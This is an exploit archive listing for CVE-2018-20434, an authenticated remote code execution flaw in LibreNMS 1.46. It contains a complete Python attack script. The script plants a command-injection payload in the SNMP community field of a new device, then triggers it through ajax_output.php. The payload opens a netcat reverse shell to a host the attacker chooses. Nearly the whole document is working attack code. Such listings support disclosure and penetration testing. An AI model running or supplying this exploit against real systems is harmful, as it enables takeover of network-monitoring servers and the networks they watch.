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LibreNMS 1.46 addhost Remote Code Execution

LibreNMS 1.46 addhost Remote Code Execution
Posted Jun 28, 2019
Authored by Askar

LibreNMS version 1.46 addhost remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2018-20434
MD5 | 91bb83529e9385f13308e0be8188bc06

LibreNMS 1.46 addhost Remote Code Execution

Change Mirror Download
#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
}

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
# print cookie
c = cookie.split("=")
cookies[c[0]] = c[1]


def create_new_device(url):
raw_request = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": payload,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
full_url = url + "/addhost/"
request_body = urlencode(raw_request)

# send the device creation request
request = requests.post(
full_url, data=request_body, cookies=cookies, headers=headers
)
text = request.text
if "Device added" in text:
print "[+] Device Created Sucssfully"
return True
else:
print "[-] Cannot Create Device"
return False


def request_exploit(url):
params = {
"id": "capture",
"format": "text",
"type": "snmpwalk",
"hostname": hostname
}

# send the payload call
request = requests.get(url + "/ajax_output.php",
params=params,
headers=headers,
cookies=cookies
)
text = request.text
if rhost in text:
print "[+] Done, check your nc !"


if create_new_device(target):
request_exploit(target)

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